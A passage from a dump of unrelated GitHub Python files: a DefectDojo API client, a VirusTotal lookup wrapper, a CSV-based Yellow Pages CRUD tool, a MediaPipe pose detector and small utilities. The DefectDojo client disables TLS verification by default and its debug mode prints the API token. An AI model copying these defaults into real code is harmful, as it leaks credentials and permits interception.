'.png') ):\n print(\"Screenshots/\" + str(i+1) + \".png is saved successfully.\")\n else:\n print(\"Failed to save the Screenshots/\" + str(i+1) + \".png.\")\n break\n\n# 关闭浏览器\nwebDriver.close()\n","repo_name":"nwomn/AutoTask","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3312,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"30013584137","text":"\ndef stem_plot(lst):\n lst = [str(i) if i > 9 else '0'+str(i) for i in lst]\n dic = {}\n for i in lst:\n stem, leaf = i[:-1], i[-1]\n if stem not in dic: \n dic[stem] = []\n dic[stem] += [leaf]\n return ['{} | {}'.format(k, ' '.join(sorted(v))) for k, v in sorted(dic.items(), key=lambda x: int(x[0]))]\n\n","repo_name":"daniel-reich/ubiquitous-fiesta","sub_path":"sibD9TFg7pmQuzJxW_10.py","file_name":"sibD9TFg7pmQuzJxW_10.py","file_ext":"py","file_size_in_byte":314,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"2055308551","text":"import pandas as pd\nimport sys\n\ndef get_state_code_index(df):\n col_list = list(df.columns).index('state_code')\n return col_list\n\ndef state_code_to_int(x):\n x[i] = int(x[i])\n return x\n\n# rst ne\ndef state_code_cleaner(df):\n df['state_code'] = df['state_code'].apply(str)\n df['len'] = df['state_code'].apply(lambda x: len((x)))\n tmp1 = df[(df['len'] == 9) & (~df['state_code'].str.contains('-'))]\n tmp2 = tmp1.drop(['len'],axis=1)\n df_fn = tmp2.apply(state_code_to_int,axis=1)\n # print(tmp2.head())\n return df_fn\n\nif __name__ == '__main__':\n\n fileIn = sys.argv[1]\n fileOut = fileIn[:-4] + '_clr.csv'\n\n df = pd.read_csv(fileIn)\n global i\n i = get_state_code_index(df)\n\n res = state_code_cleaner(df)\n # print(res.columns)\n # res = res.drop(['Unnamed: 0'],axis=1)\n # print(res.info())\n res.to_csv(fileOut,index=False)\n\n # print(state_code_cleaner(jb))\n # print(stae_code_cleaner(jb))\n # print(list(rst.columns).index('len'))\n # rst_fn.to_csv('data/restaurant_clean.csv')","repo_name":"tkionshao/com.iii.4th.state-center-maker","sub_path":"state_code_cleaner/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1064,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"18576817801","text":"#!/usr/bin/python3\n\nimport json\nimport requests\nimport requests.exceptions\n\n\nclass DefectDojo():\n \"\"\"\n Initialize a DefectDojo API instance.\n \"\"\"\n def __init__(self, api_key, user, host, user_agent=None, verify_ssl=False, api_version='v2', timeout=60, debug=True):\n self.api_key = api_key\n self.user = user\n self.host = host + '/api/' + api_version + '/'\n self.verify_ssl = verify_ssl\n self.api_version = api_version\n self.timeout = timeout\n\n if not user_agent:\n self.user_agent = 'DefectDojo_api'\n else:\n self.user_agent = user_agent\n\n self.debug = debug\n\n def get_users(self, username=None, limit=20):\n params = {}\n if limit:\n params['limit'] = limit\n\n if username:\n params['username'] = username\n\n return self._request('GET', 'users/', params)\n\n def _request(self, method, url, params=None, data=None, files=None):\n \"\"\"Common handler for all HTTP requests.\"\"\"\n if not params:\n params = {}\n\n if data:\n data = json.dumps(data)\n\n headers = {\n 'User-Agent': self.user_agent,\n 'Authorization' : \"Token \" + self.api_key\n }\n\n if not files:\n headers['Content-Type'] = 'application/json'\n\n try:\n if self.debug:\n print(method + ' ' + self.host + url)\n print(params)\n print(headers)\n\n response = requests.request(method=method, url=self.host + url, params=params, data=data, files=files,\n headers=headers,\n timeout=self.timeout,\n verify=self.verify_ssl)\n\n if self.debug:\n print(response.status_code)\n print(response.text)\n\n\n # try:\n # if response.status_code == 201: #Created new object\n # object_id = response.headers[\"Location\"].split('/')\n # key_id = object_id[-2]\n # try:\n # data = int(key_id)\n # except:\n # data = response.json()\n #\n # return DefectDojoResponse(message=\"Upload complete\", data=data, success=True)\n # elif response.status_code == 204: #Object updates\n # return DefectDojoResponse(message=\"Object updated.\", success=True)\n # elif response.status_code == 400: #Object not created\n # return DefectDojoResponse(message=\"Error occured in API.\", success=False, data=response.text)\n # elif response.status_code == 404: #Object not created\n # return DefectDojoResponse(message=\"Object id does not exist.\", success=False, data=response.text)\n # elif response.status_code == 401:\n # return DefectDojoResponse(message=\"Unauthorized.\", success=False, data=response.text)\n # elif response.status_code == 414:\n # return DefectDojoResponse(message=\"Request-URI Too Large.\", success=False)\n # elif response.status_code == 500:\n # return DefectDojoResponse(message=\"An error 500 occured in the API.\", success=False, data=response.text)\n # else:\n # data = response.json()\n # return DefectDojoResponse(message=\"Success\", data=data, success=True, response_code=response.status_code)\n # except ValueError:\n # return DefectDojoResponse(message='JSON response could not be decoded.', success=False, data=response.text)\n # except requests.exceptions.SSLError:\n # return DefectDojoResponse(message='An SSL error occurred.', success=False)\n # except requests.exceptions.ConnectionError:\n # return DefectDojoResponse(message='A connection error occurred.', success=False)\n # except requests.exceptions.Timeout:\n # return DefectDojoResponse(message='The request timed out after ' + str(self.timeout) + ' seconds.',\n # success=False)\n except requests.exceptions.RequestException:\n return DefectDojoResponse(message='There was an error while handling the request.', success=False)\n\n\n\n\nclass DefectDojoResponse(object):\n \"\"\"\n Container for all DefectDojo API responses, even errors.\n\n \"\"\"\n\n def __init__(self, message, success, data=None, response_code=-1):\n self.message = message\n self.data = data\n self.success = success\n self.response_code = response_code\n\n def __str__(self):\n if self.data:\n return str(self.data)\n else:\n return self.message\n\n def id(self):\n if self.response_code == 400: #Bad Request\n raise ValueError('Object not created:' + json.dumps(self.data, sort_keys=True, indent=4, separators=(',', ': ')))\n return int(self.data)\n\n def count(self):\n return self.data[\"meta\"][\"total_count\"]\n\n def data_json(self, pretty=False):\n \"\"\"Returns the data as a valid JSON string.\"\"\"\n if pretty:\n return json.dumps(self.data, sort_keys=True, indent=4, separators=(',', ': '))\n else:\n return json.dumps(self.data)\n\n\n\nif __name__ == '__main__':\n pass","repo_name":"doublestraus/secret-finder","sub_path":"notification/defectdojo_old.py","file_name":"defectdojo_old.py","file_ext":"py","file_size_in_byte":5449,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"26281593900","text":"\"\"\"Sum of the Others\"\"\"\n\n# sumoftheothers\n\nwhile True:\n try:\n nums = list(map(int, input().split()))\n summary = sum(nums)\n for i, val in enumerate(nums):\n if summary - val == val:\n print(val)\n break\n except EOFError:\n break\n","repo_name":"lukaszlukaszew/kattis-solutions","sub_path":"S/sumoftheothers.py","file_name":"sumoftheothers.py","file_ext":"py","file_size_in_byte":299,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"31854407803","text":"from decimal import Decimal\nfrom src import constants\nfrom time import strptime\nfrom datetime import datetime\n\n\nclass Assignment(object):\n\n def __init__(self, name, due_date, category=None, points_earned=None, points_possible=None,\n grade=None, weighted=False):\n\n self.name = name\n self.due_date = due_date\n\n if category:\n self.category = category.title()\n else:\n self.category = None\n\n # if assignment is weighted, its category must be declared\n if weighted:\n self.grade = grade\n self.points_earned = grade\n self.points_possible = 100\n\n # if assignment is unweighted, and points earned and points possible are given\n elif not weighted and points_earned is not None and points_possible is not None:\n self.points_earned = Decimal(points_earned)\n self.points_possible = Decimal(points_possible)\n self.grade = points_earned / points_possible * 100\n\n # if assignment is unweighted, and only points possible are given\n # (meaning the assignment has not been completed)\n elif not weighted and points_possible is not None:\n self.points_earned = None\n self.points_possible = points_possible\n self.grade = None\n\n else:\n raise InvalidAssignment(\"Assignment must contain a valid set of inputs\")\n\n @staticmethod\n def parse_date(date):\n assignment_day = int(date[1])\n assignment_month = strptime(date[0], '%b').tm_mon\n base_year = constants.QUARTERS[0][2].year\n if assignment_month > 8:\n assignment_year = base_year\n else:\n assignment_year = base_year + 1\n return datetime(assignment_year, assignment_month, assignment_day)\n\n def __str__(self):\n return \"Name: {}, Due Date: {}-{}-{}, Grade: {}\".format(self.name,\n self.due_date.year,\n self.due_date.month,\n self.due_date.day,\n self.grade)\n\n\nclass InvalidAssignment(Exception):\n\n def __init__(self, message):\n super(InvalidAssignment, self).__init__(message)","repo_name":"jpackard18/vcgraph","sub_path":"src/assignment.py","file_name":"assignment.py","file_ext":"py","file_size_in_byte":2371,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"32"} +{"seq_id":"43030133852","text":"\"\"\"Code base runs inside a container and executes based on passed in parameters.\"\"\"\nimport sys\n\nimport vt\n\n\nclass VirusTotalService:\n\n def run(self, argv):\n\n client = vt.Client(argv[0])\n\n url_id = vt.url_id(argv[1])\n url = client.get_object('/urls/{}', url_id)\n\n return_dict = {}\n for item in dir(url):\n if not item.startswith('_'):\n return_dict[item] = getattr(url, item)\n return return_dict\n\n\nif __name__ == \"__main__\":\n print(VirusTotalService().run(sys.argv))\n","repo_name":"MSAdministrator/binocular","sub_path":"src/binocular/containers/virustotal.py","file_name":"virustotal.py","file_ext":"py","file_size_in_byte":538,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"41859467195","text":"import csv\nimport pyinputplus as pyip\nimport tabulate\nfrom datetime import datetime\n\ndef readCsv(pathCsv):\n \"\"\"Function to read your csv file\n\n Args:\n pathCsv (path) : path of your csv file\n\n Return:\n db : return your data from database as dictionary data type\n\n Warning:\n pay attention to the number of your columns in database. Need adjusment in updating dictionary data\n \"\"\"\n # Read csv file\n file = open(pathCsv, 'r')\n reader = csv.reader(file, delimiter=';')\n\n # columns\n columns = next(reader)\n\n # make dictionary data type. db as a variable of dictionary data\n db = {'columns':columns}\n for row in reader: # updating dictionary data\n db.update({\n str(row[0]) : [int(row[0]), \n str(row[1]),\n str(row[2]), \n str(row[3]),\n int(row[4]),\n str(row[5])\n ]})\n # close program\n file.close()\n # return the dictionary data\n return db\n\ndef writeCsv(database, pathCsv):\n \"\"\"Function to overwrite your csv file\n\n Args:\n pathCsv (path) : path of your csv file\n database : dictionary data\n \"\"\"\n # Open database in write condition\n file = open(pathCsv, 'w')\n\n # Keep the database up to date\n writer = csv.writer(file, lineterminator='\\n', delimiter=';')\n columns = list(database.values())[0] # termasuk kolom dan data\n data = list(database.values())[1:]\n writer.writerow(columns) #db.values()\n data = list(database.values())[1:]\n for i in data:\n writer.writerow(i)\n # close Program\n file.close() \n\ndef valueInttoStr(intlistData):\n \"\"\"Fungsi untuk mengubah semua item yg berupa integer \n menjadi string yang terdapat di dalam list\n Args:\n intlistData (list): list yang berisi item integer\n \n Returns:\n strChoices: list yang semua value itemnya berubah menjadi string\n \"\"\"\n strChoices = []\n for i in intlistData:\n a = str(i)\n strChoices.append(a)\n return strChoices\n\ndef record(pathRecord):\n \"\"\"Function for showing what user does in the program\n\n Args:\n pathRecord : variable that stored your path of record file\n \"\"\"\n file = open(pathRecord, \"r\")\n print(file.read())\n file.close()\n\n\"\"\"CURD FUNCTION: \n 1. Create : addMenu(arg1,arg2,...)\n 2. Update : updateMenu(arg1,arg2,...)\n 3. Read : readMenu(arg1,arg2,...)\n 4. Delete : deleteMenu(arg1,arg2,...)\n\"\"\"\n\n# Show data function\ndef readMenu(database):\n \"\"\"Function to show your data as tabular format\n\n Args:\n database (dictionary): database yang akan ditampilkan\n \"\"\"\n # 2D list of database from csv file\n data = list(database.values())[1:]\n # select menu inside readMenu:\n while True:\n choices = ['Show all data in database','Show database in detail', 'Back to Main Menu']\n userInput = pyip.inputMenu(prompt='Select Read Menu:\\n', choices=choices, numbered=True) ## userInput di-return sebagai string\n # If user choose 1st option\n if userInput == 'Show all data in database':\n # if data in database doesnt exist\n if data == []:\n # only display columns without any data\n # print title\n print(\"\"\"\n=============================================== Yellow Pages created by @Wajul ===============================================\\n\n \"\"\")\n print(tabulate.tabulate(data, headers=database['columns'], tablefmt=\"github\"))\n print(\"\\nData doesn't exist!\")\n else:\n # print title\n print(\"\"\"\n=============================================== Yellow Pages created by @Wajul ===============================================\\n\n \"\"\")\n # print database in tabular format\n print(tabulate.tabulate(data, headers=database['columns'], tablefmt=\"github\"))\n print('\\n')\n # If user choose 2nd option\n elif userInput == 'Show database in detail':\n if data == []:\n # only display columns without any data\n print(tabulate.tabulate(data, headers=database['columns'], tablefmt=\"github\"))\n print(\"\\nData doesn't exist!\")\n else:\n choicesDetail = ['Detail ID', 'businessField', 'City', 'sorted companyName', 'sorted ID']\n inputChoicesDetail = pyip.inputMenu(prompt='Filter or sort data according to the: \\n', choices=choicesDetail, numbered=True)\n # data detailing based on ID\n if inputChoicesDetail == 'Detail ID':\n choices1 = [data[index][0] for index in range(len(data))]\n userInput1 = pyip.inputInt(prompt=\"Which ID do you want to return ?\\n\")\n #userInput1 = pyip.inputInt(prompt='Which ID do you want to return ?\\n', blockRegexes=[r'a-zA-Z'], lessThan=len(data))\n # if ID (index) doesn't exist in database\n if userInput1 not in choices1:\n print('Data does not exist!\\n')\n # else: ID (index) exist in database\n else:\n print(tabulate.tabulate(list([database[str(userInput1)]]), headers=database['columns'], tablefmt=\"github\"))\n print('\\n')\n \n # data detailing based on businessField \n elif inputChoicesDetail == 'businessField':\n # Available businessField stored in set data type, hence there's no duplication, then convert into list data type\n businessFieldSet = {data[index][2] for index in range(len(data))}\n businessFieldList = list(businessFieldSet)\n # user choose city\n userInput = pyip.inputMenu(prompt=\"Input the businessField you're looking for\\n\", choices=businessFieldList, numbered=True)\n # find the keys of dictionary data\n keysTarget = [str(i[0]) for i in data if i[2] == userInput]\n\n # data target in 2D list based on keysTarget\n dataTarget = [database[i] for i in keysTarget]\n\n # show dataTarget in tabular format\n print(tabulate.tabulate(dataTarget, headers=database['columns'], tablefmt='github'))\n \n # data detailing based on city\n elif inputChoicesDetail == 'City':\n # Available city stored in set data type, hence there's no duplication, the convert into list data type\n citySet = {data[index][3] for index in range(len(data))}\n cityList = list(citySet)\n # user choose city\n userInput = pyip.inputMenu(prompt=\"Input the city you're looking for\\n\", choices=cityList, numbered=True)\n # find the keys of dictionary\n keysTarget = [str(i[0]) for i in data if i[3] == userInput]\n\n # data target in 2D list based on keysTarget\n dataTarget = [database[i] for i in keysTarget]\n\n # show dataTarget in tabular format\n print(tabulate.tabulate(dataTarget, headers=database['columns'], tablefmt='github'))\n \n # sorting based on companyName (A-Z)\n elif inputChoicesDetail == 'sorted companyName':\n # sorted company Name\n companyNameList = [data[index][1] for index in range(len(data))]\n companyNameSort = sorted(companyNameList) # order by companyName A-Z #\n\n # find the keys of dictionary\n keysTarget = []\n for valuesI in companyNameSort: # compare sorted companyName with 2D list[1] which is companyName of database, \n for valuesJ in data: # when match, return index[0] which is similar with keys\n if valuesI == valuesJ[1]:\n keysTarget.append(valuesJ[0])\n\n # data target in 2D list based on keysTarget\n dataTarget = [database[str(i)] for i in keysTarget]\n\n # show dataTarget in tabular format\n print(tabulate.tabulate(dataTarget, headers=database['columns'], tablefmt='github'))\n \n # sorting based on ID (0-9)\n else:\n # sorted ID\n idList = [data[index][0] for index in range(len(data))]\n idSort = sorted(idList) # order by ID 0-9 #\n\n # find the keys of dictionary\n keysTarget = []\n for valuesI in idSort: # compare sorted ID with 2D list[0] which is ID of each data in database, \n for valuesJ in data: # when match, return index[0] which is similar with keys\n if valuesI == valuesJ[0]:\n keysTarget.append(valuesJ[0])\n\n # data target in 2D list based on keysTarget\n dataTarget = [database[str(i)] for i in keysTarget]\n\n # show dataTarget in tabular format\n print(tabulate.tabulate(dataTarget, headers=database['columns'], tablefmt='github'))\n\n # back to main menu\n else:\n break\n\n\n# add data\ndef addMenu(database, pathRecord):\n \"\"\"Function to add data into your database\n\n Args:\n database (dict): database yang akan diolah\n pathRecord: variable that stored your path of record file\n\n Return:\n database: latest database\n \"\"\"\n # list of data\n data = list(database.values())[1:]\n\n while True:\n choices = ['Menambahkan data Yellow Pages', 'Kembali ke Main Menu']\n userInput = pyip.inputMenu(prompt='Select Add Menu:\\n', choices=choices, numbered=True)\n if userInput == 'Menambahkan data Yellow Pages':\n # check the ID does exist or not ?\n choices1 = [data[index][0] for index in range(len(data))]\n userInputIndex = pyip.inputInt(prompt='Masukkan ID (index) yang ingin ditambahkan: ') # input ID\n # if data already exist, show notification 'Data already exist!'\n if userInputIndex in choices1:\n print('ID already exist!')\n # if ID doesnt exist, you can add to database\n else:\n companyName = pyip.inputStr(prompt='input company name: ', applyFunc=lambda x: x.title(), blockRegexes='1234567890@')\n businessField = pyip.inputStr(prompt='input business field: ', applyFunc=lambda x: x.title(), blockRegexes='1234567890@')\n city = pyip.inputStr(prompt='input city: ', applyFunc=lambda x: x.title(), blockRegexes='1234567890@')\n # number of digits of phone number must be less than or equal to 11 digits\n while True:\n phoneNumber = pyip.inputInt(prompt='input phone number: ')\n if len(str(phoneNumber)) <= 11:\n break\n else:\n print(\"number of digits of the phone number must be less than or equal to 11 digits\")\n email = pyip.inputEmail(prompt='input email: ')\n \n # display added data in tabular format\n tabularAddedData = [userInputIndex, companyName, businessField, city, phoneNumber, email]\n print(tabulate.tabulate(list([tabularAddedData]), headers=database['columns'], tablefmt=\"github\"))\n\n ## saving menu option\n savingMenuInput = pyip.inputYesNo(prompt='Are you sure want to save the data ? (Yes/No):')\n if savingMenuInput == 'yes':\n database.update(\n {f'{userInputIndex}': [userInputIndex, companyName, businessField, city, phoneNumber, email]})\n \n # show data after added data in database\n data.append(tabularAddedData)\n print(tabulate.tabulate(data, headers=database['columns'], tablefmt=\"github\"))\n \n # notification that data 'Data successfully saved!'\n print('\\nData successfully saved!\\n')\n \n # datetime object containing current date and time\n now = datetime.now()\n # dd/mm/YY H:M:S\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n\n # write record.txt\n file = open(pathRecord, 'a')\n file.write(f'(ADD) User has added data with ID number {userInputIndex} at {dt_string}\\n')\n file.close()\n else:\n print('\\nOkey double check your input data!')\n \n # back to Main Menu\n else:\n break\n \n # keep database up to date\n return database\n\n\n# delete data\ndef deleteMenu(database, pathRecord, pathCsv):\n \"\"\"Function to delete data in your database\n\n Args:\n database (dict): database yang akan diolah\n pathRecord: variable that stored your path of record file\n pathCsv : variable that stored your path of csv file\n \n Returns:\n database: latest database\n \"\"\"\n\n # select delete menu\n while True:\n # read latest database\n readCsv(pathCsv)\n\n # list of data\n data = list(database.values())[1:]\n\n # available ID\n choices = [data[index][0] for index in range(len(data))]\n\n # run sub-delete menu\n choices1 = ['Delete data in Yellow Pages database', 'Back to Main Menu']\n userInput = pyip.inputMenu(prompt='Select Delete Menu:\\n', choices=choices1, numbered=True)\n if userInput == 'Delete data in Yellow Pages database':\n # ensure user how many ID that user want to delete\n userInput1 = pyip.inputChoice(prompt='How many ID that you want to delete ?\\nPlease select one of: one or more than one ? ', \n choices=['one', 'more than one'])\n \n # if user want to delete only one ID\n if userInput1 == 'one':\n userInput2 = pyip.inputInt(prompt='Enter ID that you want to delete in database:')\n if userInput2 in choices:\n # display data that you want to delete in tabular format\n print(tabulate.tabulate(list([database[str(userInput2)]]), headers=database['columns'], tablefmt=\"github\"))\n # Ensure user whether to delete or not ?\n deletingMenuInput = pyip.inputYesNo(prompt='Are you sure want to delete the data ? (Yes/No):')\n # if 'Yes' delete data from database\n if deletingMenuInput == 'yes':\n del database[str(userInput2)]\n # show database after data is deleted\n print(tabulate.tabulate(list(database.values())[1:], headers=database['columns'], tablefmt=\"github\"))\n \n # run writeCsv function\n writeCsv(database, pathCsv)\n\n # notification that data 'Data successfully deleted!'\n print('\\nData successfully deleted!')\n\n # datetime object containing current date and time\n now = datetime.now()\n # dd/mm/YY H:M:S\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n\n # write record.txt\n file = open(pathRecord, 'a')\n file.write(f'(DELETE) User has deleted data with ID number {userInput2} at {dt_string}\\n')\n file.close()\n \n else:\n print('Okey double check your input!\\n')\n else:\n print(\"ID doesn't exist!\")\n\n # if user want to delete more than one ID\n else:\n\n # list of data\n data = list(database.values())[1:]\n\n # available ID\n choices2 = [data[index][0] for index in range(len(data))]\n\n # ensure the user what is the exact amount of ID that user want to delete\n userInput3 = pyip.inputInt(prompt='Specify the exact amount of ID that you want to delete ?\\n', greaterThan=1, lessThan=len(data))\n # store IDs that user want to delete in a variable\n userInput4 = []\n for i in range(userInput3):\n userInput5 = pyip.inputMenu(prompt=f'Enter ID ke-{i+1} that you want to delete: \\nThese are the available ID:\\n', \n choices=valueInttoStr(choices2), lettered=True)\n # in order to showing the data that user want to delete\n userInput4.append(userInput5)\n # Delete the ID from the list of available ID because of ID has been selected, so that the user does not duplicate input \n choices2.remove(int(userInput5))\n\n # display IDs that user want to delete\n displayDeleteData = [database[i] for i in userInput4]\n print(tabulate.tabulate(displayDeleteData, headers=database['columns'], tablefmt=\"github\"))\n\n # Ensure user whether to delete or not ?\n deletingMenuInput = pyip.inputYesNo(prompt='Are you sure want to delete the data ? (Yes/No):\\n')\n # if 'Yes' delete data from database\n if deletingMenuInput == 'yes':\n # delete multiple ID\n for i in userInput4:\n del database[str(i)]\n # show database after data is deleted\n print(tabulate.tabulate(list(database.values())[1:], headers=database['columns'], tablefmt=\"github\"))\n\n # notification that data 'Data successfully deleted!'\n print('\\nData successfully deleted!')\n\n # datetime object containing current date and time\n now = datetime.now()\n # dd/mm/YY H:M:S\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n\n # write record.txt\n file = open(pathRecord, 'a')\n file.write(f\"(DELETE) User has deleted data with ID number {','.join(userInput4)} at {dt_string}\\n\")\n file.close()\n \n else:\n print('Okey double check your input!\\n')\n # Back to main menu\n else:\n break\n # keep database up to date\n return database\n\n\n# update data\ndef updateMenu(database, pathRecord):\n \"\"\"Functio to update certain column and ID of your data in database\n\n Args:\n database (dict): databases yang akan diolah\n pathRecord: variable that stored your path of record file\n \n Returns:\n database: latest database\n \"\"\"\n # list of data\n data = list(database.values())[1:]\n\n # available ID\n choices = [data[index][0] for index in range(len(data))]\n\n # select update menu\n while True:\n choices1 = ['Edit data in Yellow Pages database', 'Back to Main Menu']\n userInput = pyip.inputMenu(prompt='Select Update Menu:\\n', choices=choices1, numbered=True)\n if userInput == 'Edit data in Yellow Pages database':\n userInputIndex = pyip.inputInt(prompt='Which ID do you want to update ?\\n')\n # if userInputIdex does exist in database\n if userInputIndex in choices:\n # show row that user want to update\n print(tabulate.tabulate(list([database[str(userInputIndex)]]), headers=database['columns'], tablefmt=\"github\"))\n updateMenuInput = pyip.inputYesNo(prompt='\\nDo you want to continue to update the data ? (Yes/No):') \n if updateMenuInput == 'yes':\n # print columns options\n userInputColumn = pyip.inputMenu(prompt='Which column do you want to update ?\\n', choices=database['columns'][1:], numbered=True) # output string\n # if the user selects a column that contains integer data type (phoneNumber)\n if type(database[str(userInputIndex)][database['columns'].index(userInputColumn)]) == int:\n # number of digits of phone number must be less than or equal to 11 digits\n while True:\n database[str(userInputIndex)][database['columns'].index(userInputColumn)] = pyip.inputInt(prompt='Enter new value:')\n if len(str(database[str(userInputIndex)][database['columns'].index(userInputColumn)])) <= 11:\n break\n else:\n print(\"number of digits of the phone number must be less than or equal to 11 digits\") \n # if user choose 'Email' column\n elif userInputColumn == 'Email':\n database[str(userInputIndex)][database['columns'].index(userInputColumn)] = pyip.inputEmail(prompt='Enter new valu: ')\n # if the user selects a column that contains string data type\n else:\n database[str(userInputIndex)][database['columns'].index(userInputColumn)] = pyip.inputStr(prompt='Enter new value:', applyFunc=lambda x: x.title(), blockRegexes='1234567890@')\n # show updated row\n print(tabulate.tabulate(list([database[str(userInputIndex)]]), headers=database['columns'], tablefmt=\"github\"))\n # Update data or not ?\n updateMenuInput1 = pyip.inputYesNo(prompt='\\nAre you sure want to update the data ? (Yes/No):') \n if updateMenuInput1 == 'yes':\n # show updated database\n print(tabulate.tabulate(list(database.values())[1:], headers=database['columns'], tablefmt=\"github\"))\n \n # notification that data 'Data successfully updated!'\n print('\\nData successfully updated!\\n')\n\n # datetime object containing current date and time\n now = datetime.now()\n # dd/mm/YY H:M:S\n dt_string = now.strftime(\"%d/%m/%Y %H:%M:%S\")\n\n # write record.txt\n file = open(pathRecord, 'a')\n file.write(f\"(UPDATE) User has updated data with ID number {userInputIndex} in the {userInputColumn} column, then change the value into {database[str(userInputIndex)][database['columns'].index(userInputColumn)]} at {dt_string}\\n\")\n file.close()\n \n else:\n print('Okey double check again your input data!\\n') \n # user does not continue to update data\n else:\n print('\\nOkey double check your input data!')\n # if ID doesnt exist \n else:\n print(\"The data you're looking for doesn't exist\\n\")\n # Back to main Menu\n else:\n break\n\n # keep database up to date\n return database","repo_name":"fnkhairudin/YellowPages","sub_path":"YellowPages.py","file_name":"YellowPages.py","file_ext":"py","file_size_in_byte":23764,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"37027678433","text":"import mediapipe as mp\r\nimport math\r\nimport cv2\r\n\r\nclass poseDetector():\r\n def __init__(self,\r\n staticMode=False,\r\n model_complexity=False,\r\n smooth=True,\r\n minDetectionCon=0.5,\r\n minTrackCon=0.5):\r\n\r\n self.staticMode = staticMode\r\n self.modelComplexity = model_complexity\r\n self.smooth = smooth\r\n self.minDetectionCon = minDetectionCon\r\n self.minTrackCon = minTrackCon\r\n\r\n self.mpDraw = mp.solutions.drawing_utils\r\n self.mpPose = mp.solutions.pose\r\n self.pose = self.mpPose.Pose(static_image_mode=self.staticMode, model_complexity=self.modelComplexity,\r\n smooth_landmarks=self.smooth,\r\n min_detection_confidence=self.minDetectionCon,\r\n min_tracking_confidence=self.minTrackCon)\r\n self.drawLandmarkSpec = self.mpDraw.DrawingSpec(\r\n thickness=2, circle_radius=2, color=(255,0,0))\r\n self.drawConnectionSpec = self.mpDraw.DrawingSpec(\r\n thickness=2, color=(34,247,10))\r\n\r\n\r\n def find_Person(self, frame, draw=True):\r\n self.imgRGB = cv2.cvtColor(frame, cv2.COLOR_BGR2RGB)\r\n self.results = self.pose.process(self.imgRGB)\r\n if self.results.pose_landmarks and draw:\r\n self.mpDraw.draw_landmarks(frame, self.results.pose_landmarks,\r\n self.mpPose.POSE_CONNECTIONS, self.drawLandmarkSpec, self.drawConnectionSpec)\r\n return frame\r\n\r\n def find_landmarks(self, frame, draw=True):\r\n self.landmark_list=[]\r\n if self.results.pose_landmarks:\r\n for id, lm in enumerate(self.results.pose_landmarks.landmark):\r\n h,w,c = frame.shape\r\n cx, cy = int(lm.x * w), int(lm.y * h)\r\n self.landmark_list.append([id, cx, cy])\r\n if draw:\r\n cv2.circle(frame, (cx, cy), 5, (255, 0, 0), cv2.FILLED)\r\n return self.landmark_list\r\n\r\n def find_angle(self, frame, p1, p2, p3, draw=True):\r\n # Get the landmarks\r\n x1, y1 = self.landmark_list[p1][1:]\r\n x2, y2 = self.landmark_list[p2][1:]\r\n x3, y3 = self.landmark_list[p3][1:]\r\n # Calculate the Angle\r\n angle = math.degrees(math.atan2(y3 - y2, x3 - x2) -\r\n math.atan2(y1 - y2, x1 - x2))\r\n if angle < 0:\r\n angle += 360\r\n print(\"ANGLE\")\r\n print(angle)\r\n\r\n # Draw\r\n if draw:\r\n cv2.line(frame, (x1, y1), (x2, y2), (255, 255, 255), 5)\r\n cv2.line(frame, (x3, y3), (x2, y2), (255, 255, 255), 5)\r\n cv2.circle(frame, (x1, y1), 11, (0, 0, 255), cv2.FILLED)\r\n cv2.circle(frame, (x1, y1), 16, (255, 60, 0), 2)\r\n cv2.circle(frame, (x2, y2), 10, (0, 0, 255), cv2.FILLED)\r\n cv2.circle(frame, (x2, y2), 16, (255, 60, 0), 2)\r\n cv2.circle(frame, (x3, y3), 11, (0, 0, 255), cv2.FILLED)\r\n cv2.circle(frame, (x3, y3), 16, (255, 60, 0), 2)\r\n\r\n cv2.putText(frame, str(int(angle)), (x3 - 50, y3 + 60),\r\n cv2.FONT_HERSHEY_DUPLEX, 1, (255, 255, 255), 1)\r\n return angle\r\n\r\ndef main():\r\n cap = cv2.VideoCapture('TrainerData/curls.mp4')\r\n detector = poseDetector()\r\n while True:\r\n success, frame = cap.read()\r\n #frame = cv2.imread(\"TrainerData/bicep_curls.jpeg\")\r\n frame = detector.find_Person(frame)\r\n landmark_list = detector.find_landmarks(frame, draw=True)\r\n print(landmark_list)\r\n if len(landmark_list) != 0:\r\n print(landmark_list[16])\r\n cv2.circle(\r\n frame, (landmark_list[16][1], landmark_list[16][2]), 15, (0, 0, 255), cv2.FILLED)\r\n\r\n cv2.imshow(\"Image\", frame)\r\n key = cv2.waitKey(1)\r\n if key == ord('q'):\r\n break\r\n\r\nif __name__ == \"__main__\":\r\n main()","repo_name":"alazimariff/pythonAiTrainer","sub_path":"PoseModule.py","file_name":"PoseModule.py","file_ext":"py","file_size_in_byte":3987,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"32"} +{"seq_id":"27272030292","text":"from OpenGL.GL import *\nfrom curs.constants import *\nfrom PIL import Image\nimport numpy\n\nW = 0.2\nN = 6\n\nV = [[-W, +W, +W], # 0\n [-W, +W, -W], # 1\n [+W, +W, -W], # 2\n [+W, +W, +W], # 3\n [0, 0, 0], # 4\n [-W, -W, +W], # 5\n [-W, -W, -W], # 6\n [+W, -W, -W], # 7\n [+W, -W, +W]] # 8\n\nT_PLANES = [\n (V[0], V[1], V[4]),\n (V[1], V[6], V[4]),\n (V[6], V[5], V[4]),\n (V[5], V[0], V[4]),\n #\n (V[3], V[2], V[4]),\n (V[2], V[7], V[4]),\n (V[7], V[8], V[4]),\n (V[8], V[3], V[4]),\n #\n #\n (V[0], V[1], V[4]),\n (V[1], V[2], V[4]),\n (V[2], V[3], V[4]),\n 